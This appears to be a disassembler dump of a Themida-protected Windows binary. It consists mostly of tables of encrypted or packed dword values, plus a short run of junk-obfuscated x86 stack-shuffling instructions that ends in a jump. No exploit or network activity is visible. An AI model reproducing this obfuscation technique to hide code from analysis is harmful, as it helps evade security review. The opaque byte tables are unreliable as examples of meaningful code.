		dd 0DD904723h, 688CE89Ch, 7C2F9396h, 6BC76DCCh,	2C6D20B7h
		dd 19C653B0h, 7CAA4447h, 6626DCCh, 3CF34B1Ah, 0A2516DCCh
		dd 51F4C703h, 0DAA3B10h, 0E511F8D2h, 0A19233BCh, 0BC66DCCFh
		dd 0A27E9233h
dword_5C4CC0	dd 327C0ABEh, 0CB04A979h, 23DCFBA7h, 0CEE53AEEh, 1E0DF30Dh
					; DATA XREF: Themida_:0054BD80o
					; Themida_:0054E21Co
		dd 6DCC7CA4h, 69A64940h, 0C09DB9BDh, 11C8F198h,	9D1C67FCh
		dd 7DF9ADEAh, 0D2BE9A60h, 23963B83h, 1C550C94h,	82BD7168h
		dd 0ED841B8Eh, 7F3A36DFh, 80E490CBh, 9D39D86Bh,	4430651Eh
		dd 0B9140BE0h, 99397B3Fh, 2Ch, 1EBD5CF3h, 7C745D4Ch, 969267FCh
		dd 7C03BBEAh, 8EE2943Ch, 0FFDC17CBh, 8D60851Ch,	6D397B35h
		dd 12Dh, 0E722C893h, 8A22373Bh,	2A447932h, 7CED5554h, 2D096DCCh
		dd 95374E50h, 0F936D960h, 0CC7CB012h, 61D8546Dh, 0A15571AEh
		dd 0FCB1812Ah, 0D4F39FC3h, 63A75B2Bh, 29D9E17Ah, 330F33D2h
		dd 0D0BBA577h, 6DCC6F72h, 0CAC19692h, 6DCC125Ch, 0DCCFFAB1h
		dd 6DCC7266h, 8123A27Eh, 0EED24E42h, 0CF04BB3Ah, 74374923h
		dd 6DCC72CEh, 0D02D4A26h, 0D1B89249h, 67FC0108h, 0E022C7BEh
		dd 70294636h, 0EC08EC1Fh, 0F6BFD912h, 0EF5371A0h, 0F8FF64DAh
		dd 34F709E3h, 9423D28Eh, 0BED0A66h, 151A2A20h, 8C5EBA9Eh
		dd 942E772h, 7744191Dh,	382296D5h, 0F1513826h, 159E108Ah
		dd 8AD07219h, 17129E10h, 9E108AABh, 431FCF4Bh, 3EC41516h
		dd 4C21513Fh, 399EDD8Fh, 4036AC49h, 0F7C6CFC7h,	82000001h
		dd 4AD18DD0h, 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh
		dd 529133A1h, 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h
		dd 6BDBE5BEh, 32D35956h, 0C8B3F7Eh, 1F4C1E53h, 0DFC4672h
		dd 6DCCBAB5h, 1AE8D551h, 753446E3h, 6DCC4ACDh, 0A6304D29h
		dd 1EBD5C20h, 5A7324Ch,	0D9FAB1C6h, 3D67FC7Ch, 934C0FE1h
		dd 0CE9D895Eh, 94238370h, 0A441E093h, 397B3749h, 0E229h
		dd 82295700h, 94238FC0h, 99334824h, 8A3B7932h, 0CFE9C9FEh
		dd 24A34F73h, 0AC2F4180h, 69CDB9F8h, 252E9497h,	6AC66DCCh
		dd 5CCA918Dh, 0B16DCC58h, 30ABC5FAh, 0B5293E7Bh, 5C487D26h
		dd 718B5067h, 28269C8Fh, 62BE6DCCh, 73B87385h, 1367FC5Bh
		dd 5D74F60Eh, 0C27949E7h, 37F3CF0Eh, 3E10CBEAh,	0AC29E4Bh
		dd 8C33069Eh, 0C218AA61h, 20FC9E11h, 0F7D45044h, 86552703h
		dd 5527A3E2h, 421D1D18h, 0F106F05Eh, 0E287C66Ah, 40377D1Ah
		dd 0EB37A074h, 76000000h, 9E1D91D4h, 7CFBAFE6h,	49D08CC5h
		dd 66F569A6h, 0E1C783C2h, 569537A5h, 71B253E2h,	4D883EBDh
		dd 2C610A91h, 0C8C3BDB0h, 6BDBE67Ah, 32773D9Ah,	0C100A47Eh
		dd 0B97551D5h, 0D8548942h, 9131D806h, 756DCC7Ch, 9E24E7F9h
		dd 766DCC7Ch, 3247DDFAh, 39504479h, 84E15D92h, 95946675h
		dd 67F78AC8h, 0FBF00A66h, 7445AB16h, 1313E8F1h,	0AFEEA219h
		dd 0D18A5FC3h, 0F269E51Ah, 49100439h, 0C74ECB8Eh, 7EA73E65h
		dd 421C90C5h, 0EA96D577h, 0DB57486h, 0E9A74DC9h, 3CE3708Dh
		dd 0C77C1B07h, 0EF013AEFh, 4DC9863Ch, 0DE025EA7h, 1AEE9332h
		dd 6C183C71h, 9480B76Dh, 3D721990h, 36CD7649h, 8A29D88Ah
		dd 9EE88950h, 84A303BCh, 0E3F8DC62h, 0BE7AAF58h, 0A75B9037h
		dd 113Eh, 0D5774200h, 5FEBC196h, 12AE2C21h, 0C39399A9h
		dd 80321EA6h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh
		dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
		db 41h,	55h, 0CFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	7C41h
		mov	[esp], ebx
		mov	esi, 12A101FCh
		push	ecx
		mov	ecx, 622624E3h
		shr	ecx, 6
		or	ecx, 7F7759A9h
		sub	ecx, 0FC95316h
		or	ecx, 389B24DAh
		add	ecx, 57BA721h
		sub	esi, ecx
		pop	ecx
		sub	esi, 513177AAh
		add	esi, 0C2E352EAh
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	3732h
		mov	[esp], esi
		pop	dword ptr [ebx+8]
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 2
		dd 22C8FB6Fh, 0EA2E528Dh, 5B9946h, 0CCB81B17h, 306179Bh
		dd 96E0FFC5h, 0AC134D73h, 820C2F97h, 2431A63Fh,	427B305Bh
		dd 85015067h, 0FF209A3Ah, 3F215757h, 34FD0E9h, 0D86A9595h
		dd 804E91BAh, 3D245941h, 39697984h, 0FB1476E9h,	0A20021BFh
		dd 5D0CADE8h, 0C0736E82h, 0B34062F0h, 6F001DCAh, 0E858BA1Dh
		dd 10h,	8ED68EADh, 0D880CDC9h, 408BE317h, 0DDAA044Fh, 0EB8A5AF5h
		dd 68EBC281h, 81660000h, 0BB9713E0h, 1A0Dh, 0A98FD181h
		dd 32FF49CDh, 5E38F080h, 12E9h,	0E71B2500h, 8AE3083Ch
		dd 4C1C5F9Eh, 0B010A805h, 81F51CB6h, 0B53400F6h, 0C2BF0F18h
		dd 4C75C681h, 0BCB17BEBh, 671FEE81h, 665674C8h,	28FCA8Bh
		dd 10E9h, 68DAD200h, 20E86D04h,	80AAE956h, 8CFF9CDFh, 4EA8381h
		dd 0F01EB83h, 1F85h, 28A0F00h, 0B0000000h, 29E9C6h, 0D010000h
		dd 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh,	0A76BF66h
		dd 0FFFF7DE9h, 0B46B43FFh, 0FE8A43C2h, 0F17EE9E2h, 8D2AECADh
		dd 179E668Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0A7638954h, 0DE8B566Fh, 397F5DBAh
		dd 0F58D895Ah, 0F061009h, 688h,	0ED8D8900h, 0C7061030h
		dd 10231985h, 6A2806h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0AE2FDED5h, 0C28B664Ch
		dd 22C185C7h, 610h, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0D6EB0FC3h, 0D628CD61h
		dd 0AE970h, 546F0000h, 8BFA5B4Bh, 0BECAE279h, 1EB9858Bh
		dd 0B5FF0610h, 61004E9h, 135D9589h, 95FF0610h, 6102DB9h
		dd 619B58Bh, 6A0610h, 31C995FFh, 0C08B0610h, 0B33518EBh
		dd 0E938B032h, 3B7E53F4h, 0B7524C93h, 0E12DAEBEh, 0A398D404h
		dd 11E995FDh, 0B3000000h, 58C49Ah, 3 dup(0)
		dd 572E9h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h, 87C467EEh
		dd 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh, 54E35792h
		dd 0C7C276ABh, 0E28C36F5h, 8B686BDBh, 243E675h,	79325FE5h
		dd 7CE75B4Eh, 23FF6DCCh, 0AAC6FBA4h, 6D4784F6h,	85ECF28Ah
		dd 28DC5774h, 628B75E9h, 0BCD718Eh, 29DE5DD3h, 9B440FECh
		dd 641BBA66h, 0E79E1D2Fh, 1FC3C2AEh, 3BEB00E4h,	77A4E49Ch
		dd 461BE453h, 14584838h, 44BA2427h, 0EE2D6917h,	0C39FE1BDh
		dd 0DA0FB8CFh, 0C3F8AF26h, 0E1144ACFh, 5E0F0643h, 0A329C877h
		dd 1918B708h, 16ECA272h, 320E3273h, 104BFF76h, 2E691D9Ch
		dd 0B0E79D1Ch, 39ECEB9Bh, 0B86CAB5Dh, 347FC3C6h, 9B976DCCh
		dd 0FDE79BB7h, 0E086AF46h, 845729A5h, 71F5A1E0h, 0F328DF5Ch
		dd 34EF58FFh, 8F306DCCh, 0EE1CF5F0h, 7DFC336Ah,	4E000000h
		dd 459996D7h, 524B0AC2h, 0D005BE75h, 0AE8A3BFEh, 0EA96BAFBh
		dd 0E6B57186h, 6DCCAF5Eh, 0A441E0DFh, 336A6349h, 69BD94B9h
		dd 0C7709D9Ah, 13EB2h, 328C0000h, 7DB93A7Ah, 44296008h
		dd 6B8795E1h, 286820B7h, 52EBF268h, 3AE60A40h, 0F7ABE89Bh
		dd 8244DBC4h, 4BD210B7h, 0DA4E0C60h, 0DE422E12h, 639A5209h
		dd 8CB770E7h, 0CC48259Dh, 8165C16Dh, 1E0DF3CDh,	6DCC48A4h
		dd 3D07E440h, 0FDA47E32h, 14B9D0C4h, 274B27DBh,	0A3BFFAB0h
		dd 0F930D8EFh, 942B500Dh, 209CDB8Dh, 0F4C7F299h, 0D36F164Bh
		dd 336DCC7Ch, 70671B37h, 0EB6E80B9h, 21DDFA39h,	22A43B78h
		dd 0EF626C29h, 62D9178Bh, 0A25572ABh, 336AEB5Fh, 6B3Fh
		dd 7E328D00h, 8D34533Fh, 0FBD718B9h, 0E3087407h, 859704C8h
		dd 85DDA57h, 0B331E207h, 0D66D4E2Bh, 0EA5E9D4Fh, 867AB96Bh
		dd 487F25B4h, 3803D85Ch, 0F9AA5693h, 13CE2BCAh,	0F3336B08h
		dd 50h,	3F7E3259h, 4A8E3453h, 4225F136h, 564A26A6h, 9F53883Fh
		dd 51458428h, 0A22EC55Eh, 58D97847h, 368C7FB4h,	0CE6DCC5Ch
		dd 2CBA6E52h, 29437A32h, 0DFCAFDB2h, 6DCC7C63h,	0AECBA783h
		dd 7C1CA9F0h, 94236DCCh, 36B5F8FDh, 195336Bh, 0F7000000h
		dd 216004D7h, 0A1DA8F4Ch, 8C07BF5h, 2C4125D1h, 8528F8AFh
		dd 55D45044h, 0A58175B2h, 0EB6D5C1h, 0F9AC2BD7h, 0EC8FCCB8h
		dd 46FD6755h, 0A6DF86AFh, 9546CD32h, 0D0BBA5BBh, 6DCC7C72h
		dd 0CAC19692h, 67FC0621h, 0E47789E5h, 76150140h, 9FBC98CDh
		dd 13FE8DFh, 4B577004h,	813D1987h, 681C51FAh, 23EB8341h
		dd 40DFC094h, 39F52AE1h, 28CB09C2h, 70A837D3h, 0F1E89CB8h
		dd 7A11053Ah, 89B092D2h, 0B427B4AFh, 3A77E490h,	46F7210Eh
		dd 0E017BA71h, 23DE9929h, 0C5A17D94h, 6E059ED1h, 7F16A562h
		dd 6D80DB6h, 81568D33h,	93AF02BDh, 328F397Bh, 0FD000001h
		dd 0E183BD5Ch, 4E72EEA2h, 26BC8D7Ch, 0B12867FCh, 0B6D5C1FEh
		dd 0DCF1D510h, 3F564A26h, 5D75388h, 1B5F53C8h, 23A4D270h
		dd 11363294h, 805DE803h, 2AE10CB3h, 94232598h, 0D0C4A07Ch
		dd 894212B9h, 0A0C4A054h, 0F730D5F4h, 9BD68C0Bh, 7211B2E7h
		dd 6B0A994Eh, 70EC21CAh, 7BDD64ADh, 5A4439h, 5C860000h
		dd 1E401AC1h, 0CC7CD76Bh, 0A41E0D6Dh, 406DCC7Ch, 1B302CE4h
		dd 7CDC4645h, 7CF8EDCCh, 7D61E188h, 0AD4EEDCCh,	3D9E3916h
		dd 7DFA6823h, 3E1A6DCCh, 0A8BBB08Ah, 63DFCA07h,	836DCCF6h
		dd 0F92C2A7h, 8634ADCAh, 3C000000h, 0EDDB6722h,	0D0746DCCh
		dd 43EAE191h, 3B11E60Ah, 4C1EBD5Ch, 0FC0C3C5Dh,	0AC3A867h
		dd 15AD5CF2h, 0F1942306h, 0A26E4875h, 411DDDFAh, 588D3655h
		dd 83AE55E4h, 23A13A88h, 627EDA94h, 491BD188h, 998D69A6h
		dd 97BEC09Dh, 9423A02Ch, 3CE57C23h, 627C4E83h, 23A01BA7h
		dd 4A1FFB94h, 33A82F94h, 414C7219h, 21B89E18h, 39132F70h
		dd 0BC91CC82h, 0DF14CBCAh, 7312A133h, 0CC9E3DDCh, 2FA7F9DDh
		dd 0B5290594h, 1EBD5C17h, 0A9D88D4Ch, 0CC7C4002h, 0ACC8A46Dh
		dd 795F7CF8h, 0F79AAC92h, 0CA353667h, 82D79530h, 68C56489h
		dd 4E091692h, 0F9AD8979h, 0C1904687h, 611F03C7h, 0E318CF8Ch
		dd 237F067h, 1C5470Eh, 933637D3h, 8715AD5Ch, 75F1F6D8h
		dd 7D26A551h, 0A0DF9148h, 6D0497F4h, 5CF3CC5Fh,	0E7F92ED5h
		dd 0DAB981E6h, 883FC725h, 76FAA6E3h, 0A55EDD61h, 62058470h
		dd 0CAA6E78Ah, 4B8429B0h, 9C26E557h, 78F6D8A4h,	303D8FCh
		dd 0E243E291h, 0C138F429h, 794CCC0Ah, 0D05DFD07h, 0E004E019h
		dd 3A334h, 5F190000h, 3D80326Dh, 64995249h, 3A7519B0h
		dd 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h, 5B943950h
		dd 417830A7h, 0B968CF55h, 8900004Eh, 1068242Ch,	8900002Ch
		dd 8951241Ch, 4C181E1h,	81000000h, 4E9h, 240C8700h, 240C895Ch
		dd 9E9EBA52h, 89560617h, 5EF389D6h, 6A24685Ah, 24890000h
		dd 24048124h, 4, 39596859h, 4890000h, 8B824h, 0C8010000h
		dd 0FF581889h, 81592434h, 4C4h,	241C8B00h, 81E18951h, 4C1h
		dd 4C18300h, 5C240C87h,	0F8DC67E9h, 0BB8391FFh,	956A9457h
		dd 0B86548ADh, 617A38Fh, 0E0FFC503h, 437B083h, 61A35CBEh
		dd 162F142h, 9D19827h, 3D93E9A7h, 7F8E6DA3h, 688E4002h
		dd 4A0F8C73h, 34C08A38h, 2FE2B352h, 1ABA846Bh, 403BFF65h
		dd 4C22BAF2h, 0F9037F8h, 37A36544h, 12E8h, 0E6038D00h
		dd 0B6D62682h, 9A91082Ah, 48E4C6DEh, 0E9B2B5B2h, 0Bh, 0D2C30B13h
		dd 9435CEA2h, 592A15F0h, 79F1C081h, 0C181109Bh,	5ACBh
		dd 7DBBD38Bh, 0E8000016h, 13h, 2038018Eh, 51D0806h, 0BE6C8BDFh
		dd 37DCBEF5h, 0BEAB9C4Bh, 11E815A8h, 0F931FF5Eh, 0F681665Fh
		dd 0F781561Dh, 76103E50h, 0A980C781h, 0CE811D24h, 3C6996D3h
		dd 0BC05EF81h, 0C78B09D2h, 81FC3989h, 6E078BE9h, 0C181F807h
		dd 76E0787h, 81C0BF0Fh,	1EBh, 2C850F00h, 0E9000000h, 13h
		dd 4B076150h, 0FCE0D4CCh, 0DCCA9805h, 529E2703h, 0E9B03D41h
		dd 28h,	19B0D9C2h, 0BEA01E23h, 328EF141h, 0E984C89Dh, 0FFFFFF8Dh
		dd 2A726C9Fh, 86F04F6Ch, 2F6398Eh, 7C7F23C8h, 0D906A34Bh
		dd 0ECE9h, 0
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 277h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 600h, 0AE351400h, 2396288Eh,	11424D33h, 0A94BD069h
		dd 7550B438h, 156636DBh, 0D7D5D432h, 2307D9AAh,	0EA0D583Eh
		dd 8F9288B7h, 41E58DD1h, 0F6E7E8CDh, 28E3E77Dh,	156628DBh
		dd 95F99232h, 34EDCAC8h, 7452CF35h, 98DBA153h, 15600127h
		dd 0A8E58147h, 137644A7h, 457F5632h, 0ADA69A61h, 15668C23h
		dd 1B03C1BBh, 88EB2422h, 1374A927h, 4D3D5BCDh, 15F3F9B1h
		dd 61662422h, 0AD354125h, 15668C23h, 1B03C1BBh,	88EB2422h
		dd 1374A436h, 4D3D5BCDh, 0AA002452h, 74932E36h,	1A07FEB8h
		dd 15669FB8h, 1574AD32h, 0A89F2232h, 42692078h,	0BB9A7BCAh
		dd 6DE34111h, 94216ACDh, 156619DBh, 0B3D1C232h,	0FB461455h
		dd 118AA164h, 4D4215BBh, 156A043Dh, 128F4432h, 7E662232h
		dd 519EE357h, 0A8E5E9A6h, 1371E164h, 53E22D32h,	75661132h
		dd 2EDC40B9h, 743B4815h, 981BA7BFh, 0EA9F1725h,	156061E2h
		dd 5A224432h, 2BE0028Ah, 98CB94BFh, 98698E25h, 15664426h
		dd 15662DDBh, 26C65832h, 35BBA3CBh, 0B3921207h,	0CB7D14E4h
		dd 9169C1CDh, 15668833h, 0F0E382C7h, 43603211h,	13E81E52h
		dd 1A668832h, 156644B8h, 24ABA232h, 0AD347953h,	18F149Ah
		dd 5C664432h, 9EB59201h, 0F74AA6E2h, 230E440Dh,	0F511C807h
		dd 1A8C3B4Bh, 156605B7h, 15696132h, 0D5384432h,	0B467EB58h
		dd 267FB15Dh, 0DE667732h, 50D3BB66h, 0ED60322Fh, 90EC94BFh
		dd 9C698E21h, 15664435h, 1567A83Dh, 0EA9A1132h,	0CDE7E8E2h
		dd 7EACC757h, 1564A93Dh, 74061132h, 14EE8753h, 0ED664432h
		dd 903A7BBh, 1A931722h,	156698B7h, 156DAD32h, 0EBEA2232h
		dd 7399E7BEh, 4AA150E2h, 80E3833Dh, 15603234h, 0FC661132h
		dd 15668821h, 82693560h, 0A60A2CD3h, 0FCAF9369h, 26A890D9h
		dd 0D3482BFDh, 545C7B7h, 7D9E5434h, 9B14E15Bh, 2FB4C552h
		dd 0E050DD14h, 8CD3EE53h, 1A609826h, 156648B1h,	13EB2D32h
		dd 1A661132h, 156688BDh, 14E54B32h, 0E9662232h,	2F5494BFh
		dd 128F8E22h, 15664432h, 48D40256h, 9E69F762h, 15668833h
		dd 1AB6BBCAh, 156602BBh, 0FFE77132h, 0E0CEC6Eh,	156657DBh
		dd 96F8B32h, 480B184h, 9013CE2Ch, 0BD5E7D5Ah, 7D1717DFh
		dd 54E39853h, 1A609826h, 156643BCh, 14EE2D32h, 0E9661132h
		dd 36830DF4h, 0FC254222h, 1566223Eh, 0E5189752h, 6B18C4EDh
		dd 1512AD8Ah, 1573AD3Dh, 9B691132h, 1566883Dh, 15664EDBh
		dd 0E99B6A32h, 0C1954102h, 7D0F840Bh, 89012F6Ch, 1579A33Dh
		dd 0FD061132h, 15668826h, 18BAB8FBh, 45361599h,	0D10E8B61h
		dd 3FDEE104h, 0F334B148h, 0FD95A26Ah, 8CD3EE53h, 0E9609826h
		dd 2F54C1BFh, 1F8F2422h, 24661132h, 0E9E740C2h,	1D9CC266h
		dd 0FCB6DD73h, 15661120h, 0DC57144Bh, 0FA3A0C8Ch, 0EA0AD810h
		dd 0D8BE37EEh, 90EF6E2Bh, 1371E10Ch, 156632DBh,	0EC480232h
		dd 0D9BD06AAh, 0EFF7AC76h, 541DAECBh, 0F0E3D7B6h, 41609811h
		dd 1A96CE52h, 156627BFh, 0B004A932h, 7D07B414h,	0FB042C1Bh
		dd 156630DBh, 5F72A832h, 4F5CA650h, 20B190A3h, 0C5F27741h
		dd 0EA092934h, 5721187h, 90EBBC34h, 13761800h, 156F953Dh
		dd 0A4068832h, 0CBE722E0h, 0EA07BBD6h, 90EFE9E2h, 13712D70h
		dd 156EC93Dh, 97692232h, 15661130h, 90A0E952h, 137667D7h
		dd 0D70EDE77h, 0FCBC710Ah, 1566883Fh, 0B608A07h, 0A3B31Fh
		dd 5CD2D99Fh, 8CD37798h, 0E0605426h, 2F54A7BFh,	9B691722h
		dd 15668835h, 1567C23Dh, 0EA9E2232h, 1576F8E2h,	32E08832h
		dd 0E07E9C59h, 0DE31BADAh, 85386BFFh, 90EFB5ABh, 1371E174h
		dd 15E32D52h, 94661132h, 0BF51ACD8h, 0A8E52564h, 1376003Bh
		dd 75E31E32h, 1A668833h, 15665CBFh, 1575CB32h, 0DD261132h
		dd 5449FFC3h, 0B49DB242h, 82049F13h, 1FBC35A8h,	0F0E34EE2h
		dd 50605411h, 15ED2D52h, 73661132h, 0FC0743B9h,	1566443Ah
		dd 1D6B910Ch, 0CB5CFB18h, 35180E5Ah, 0BE54BC8h,	1A662232h
		dd 156609BAh, 15756132h, 3A2A4432h, 932A253Eh, 0DC8AEB90h
		dd 0BB187491h, 0C7B1EFDFh, 8CD3DDFCh, 0E0600126h, 2F540DBFh
		dd 75064222h, 156633DAh, 78FDCC32h, 0CE45CC57h,	72191031h
		dd 6DBC6091h, 7339AB18h, 3A2941B3h, 74A7CF53h, 1E8FF2CDh
		dd 6D661132h, 331C8D04h, 669892Ch, 90EF3C80h, 1371B478h
		dd 15776052h, 8E514432h, 8317392Dh, 6DBF2B45h, 38056711h
		dd 0FD7A5436h, 1566223Dh, 5631D113h, 5F10177Bh,	3E77590Eh
		dd 4F8AEA47h, 0E491916Bh, 0F0E34E53h, 59605411h, 966942CBh
		dd 15661130h, 90693F87h, 15664433h, 0D60E43C7h,	1A8637E2h
		dd 156689B6h, 0A099B832h, 137636ABh, 156614DBh,	5AF91032h
		dd 1A8F955Fh, 0E662232h, 8AD5E1F0h, 9EE4F502h, 48B7FED3h
		dd 90EB6EFFh, 13762B00h, 0C6D18752h, 0EA071A63h, 156CCBE2h
		dd 2C2C1132h, 0D5341FD8h, 8FADDA6Ch, 0B028A7BBh, 1F8F1725h
		dd 0F7668832h, 0AE4A1AECh, 0F7154EFCh, 145CF8FEh, 0D39F8832h
		dd 545A1B7h, 7D9F7034h,	0A92CF53Fh, 19B90952h, 1A2C2D4Bh
		dd 156627B4h, 0F677AE32h, 0EA07B0A3h, 5693D87h,	198FDE34h
		dd 0A2661132h, 0D955CEFh, 19A49B74h, 988AE87Ah,	55C23B7h
		dd 19E78734h, 1A664432h, 156624B1h, 15E81E32h, 0EA668832h
		dd 0E90624E2h, 15662FDAh, 0C8901B32h, 310B002Fh, 8E501295h
		dd 743E713Eh, 5FE39853h, 1A609F97h, 15666CBEh, 128E4232h
		dd 2661132h, 2FA686FFh,	0FC3FB04Eh, 15662226h, 0E7CEC6A3h
		dd 0BDA544Fh, 0E86479B9h, 0A00F9F4Ch, 9C064115h, 0F0E34E53h
		dd 47605411h, 15662DDBh, 2AB43F32h, 0A5E072CEh,	0B9DFC11Eh
		dd 0C6AD7F9Dh, 592C595Ah, 156D6194h, 0E6D44432h, 0AE46C10Ch
		dd 7AAA4520h, 6CD37757h, 1A60543Dh, 156632BBh, 156DF832h
		dd 0AE5D8832h, 0E0AADE5Dh, 19894426h, 27E39C75h, 75609808h
		dd 0A04DB5B3h, 188F42E7h, 0FE661132h, 0EF115EABh, 0A285A75Dh
		dd 0FF15D6FBh, 156AF853h, 48778832h, 0AA6CF7BFh, 7DA33080h
		dd 0C599404Bh, 5BE301CBh, 0FC605397h, 15662222h, 0CE43DCBEh
		dd 539F6C8Fh, 4BDAD8DCh, 0AE304090h, 368394F4h,	1A348E22h
		dd 156643BAh, 0ECEC4232h, 74BFAE3Dh, 57D2625Ah,	0A099B8CFh
		dd 137636ABh, 15661CDBh, 0B4AAAE32h, 5CDDC7Eh, 2E6CE5EFh
		dd 1D8FD87Dh, 83668832h, 0E045D73h, 9890E898h, 55C23B7h
		dd 0C5997434h, 7CE3CDC7h, 0EC60323Fh, 368394F4h, 75118E22h
		dd 3E8894B3h, 0FFE63A11h, 0B60E7035h, 0FC951F9Ah, 15664434h
		dd 0CDF48CEFh, 0A09964ABh, 1376A8D7h, 15664FDBh, 74631532h
		dd 7BF2AA90h, 0E16C4EBEh, 2F54C1BFh, 0EC9F2422h, 0FD06C1CDh
		dd 15668822h, 6E45E01Ah, 0AAC8829Ch, 55B069C4h,	0C40320D2h
		dd 4B9CFB3Dh, 90EF43CBh, 137610F7h, 0F0E34ECEh,	47605411h
		dd 940042CBh, 1AFD35E1h, 7D077A8Dh, 9FBB7525h, 156628DBh
		dd 8FD97332h, 2998348Eh, 0EA0A3543h, 572BB87h, 1B8E7134h
		dd 0E7668832h, 0E5B49DB6h, 7BD2C511h, 0B06DCCDEh, 0EED187C9h
		dd 74A7CF69h, 2F54A7BFh, 0ED931722h, 750658CDh,	0AE96CF54h
		dd 2BE8D193h, 0E6D91E53h, 0A8E30153h, 0E0605432h, 3683A7F4h
		dd 75301722h, 1AB55DB2h, 7D07928Dh, 0C1794F0Bh,	15661CDBh
		dd 2ED54432h, 4675DA44h, 1DD6C05Dh, 0A09971A5h,	13769577h
		dd 9FE3C9CBh, 756031B7h, 0AA692480h, 0C599E9CBh, 156CC83Dh
		dd 73062232h, 0A3ACC8B3h
		dd 74960354h, 3AD3C1BBh, 45062422h, 4B7FDCB2h, 8EBB60B3h
		dd 0D3077512h, 545C7B7h, 58F5634h, 0E4668832h, 0EE314CC2h
		dd 0D02EAF22h, 51550C24h, 7D3D75D3h, 94BA5448h,	8CD3DDCEh
		dd 0FC600126h, 1566883Eh, 0F392868h, 6488771Fh,	2E59B6C1h
		dd 0E6D8EE52h, 90EB25ACh, 13761800h, 15709B3Dh,	0FC068832h
		dd 1566443Dh, 0A8DBC8CDh, 0A9E4C5D4h, 7F7C82F6h, 742DAB09h
		dd 1A9FF2CDh, 156607BBh, 15776132h, 29EB4432h, 0E68AE65Ch
		dd 923B0282h, 0ECBC8517h, 9CD4AB9Eh, 57C53B7h, 1DEB1E34h
		dd 75668832h, 3EC5FB54h, 0D3077862h, 545F4B7h, 7D9ACF34h
		dd 9F69F1D0h, 156AA73Dh, 99691132h, 15668834h, 1566C23Dh
		dd 0A0992232h, 137605ABh, 1572003Dh, 1A8F4432h,	89662232h
		dd 6CA2D09Ah, 0DEEB6D07h, 96199411h, 90EBFD7Bh,	13762B00h
		dd 156685DBh, 0C0EAB732h, 703498AAh, 1EEFBD01h,	0C599B3A3h
		dd 0A2691252h, 9C077DF8h, 2C37FB7h, 19E28734h, 1A664432h
		dd 156624B0h, 15E81E32h, 75668832h, 15664DDBh, 8AC47F32h
		dd 5D653E1Bh, 75373359h, 0D2071F53h, 54157B7h, 15666934h
		dd 0AA69E832h, 93C6FEFCh, 75072533h, 8490A954h,	74A40354h
		dd 250BF9B1h, 1A662422h, 157F18B6h, 90A07032h, 137667D7h
		dd 1D8E427Eh, 0F4661132h, 91611C80h, 0A4C2B1EEh, 108F7A84h
		dd 0D6661132h, 623DAE03h, 98F2C53h, 9F06FBE8h, 74A49ACFh
		dd 1FF3DCDh, 989F4222h,	55C10B7h, 156AF834h, 1C8F8832h
		dd 0CF69A6Eh, 0D7D24971h, 0C5999B71h, 156686DBh, 0CEA27F32h
		dd 0E8FE7CC0h, 0B6A67C3Eh, 9CF05917h, 2C31EB7h,	9CD94234h
		dd 1A3D9777h, 0D3074685h, 545A1B7h, 9E066E34h, 1576F8EAh
		dd 41008832h, 2169DC02h, 60E05B15h, 482CE0F7h, 7D07040Ah
		dd 0C8129AFCh, 10E52D52h, 73661132h, 6445EB3h, 156656DBh
		dd 0F1F32932h, 32C48463h, 4AA54E75h, 131E02D9h,	74364C22h
		dd 1FFA4CDh, 68F8E22h, 0E1664432h, 6349744Ch, 0DC32B468h
		dd 7F015869h, 0FC265154h, 90EBC4DEh, 13762B00h,	0D2E7E8C7h
		dd 157F9C3Dh, 0EA079982h, 128E71E2h, 0C668832h,	6B4D009Fh
		dd 31D3F5F1h, 9969706Ch, 15668833h, 4BE3CDC7h, 0EC603597h
		dd 368394F4h, 0FC2A8E22h, 15664437h, 0B268C894h, 1561F822h
		dd 0C0CF8832h, 6BFA1421h, 97594A7Ch, 0E006A6B3h, 15669CDAh
		dd 0E6D6D732h, 5836E886h, 0D33F5342h, 0B9B3C04Fh, 0C3753779h
		dd 0C4E744CBh, 7439536Eh, 156687DBh, 0D0A5F032h, 4F72AB0Dh
		dd 6F7A3C59h, 0E0ADB7C5h, 1FFF1CDh, 73062422h, 0F3A5FEB3h
		dd 74B50354h, 2F54C1BFh, 1A062422h, 1B8FD685h, 47668832h
		dd 313CFB10h, 0CAE0D1A8h, 52734630h, 198FE976h,	0D2664432h
		dd 5C615D06h, 0E247B59h, 0EAAD2778h, 9C9EBCE2h,	2C340B7h
		dd 7E11E34h, 0FC668832h, 1566443Fh, 1C873A56h, 0EEC690F6h
		dd 0E9477609h, 90A0B8C6h, 137601D7h, 19EF1E7Eh,	1A668832h
		dd 156642BFh, 15EA2D32h, 1A661132h, 156689BEh, 0D0EBD32h
		dd 0E9D50D72h, 1FFA4CDh, 989E8E22h, 55C76B7h, 156FCB34h
		dd 8CC1132h, 0E1C8CFCDh, 0FC49124Ch, 15662238h,	0C657B79Bh
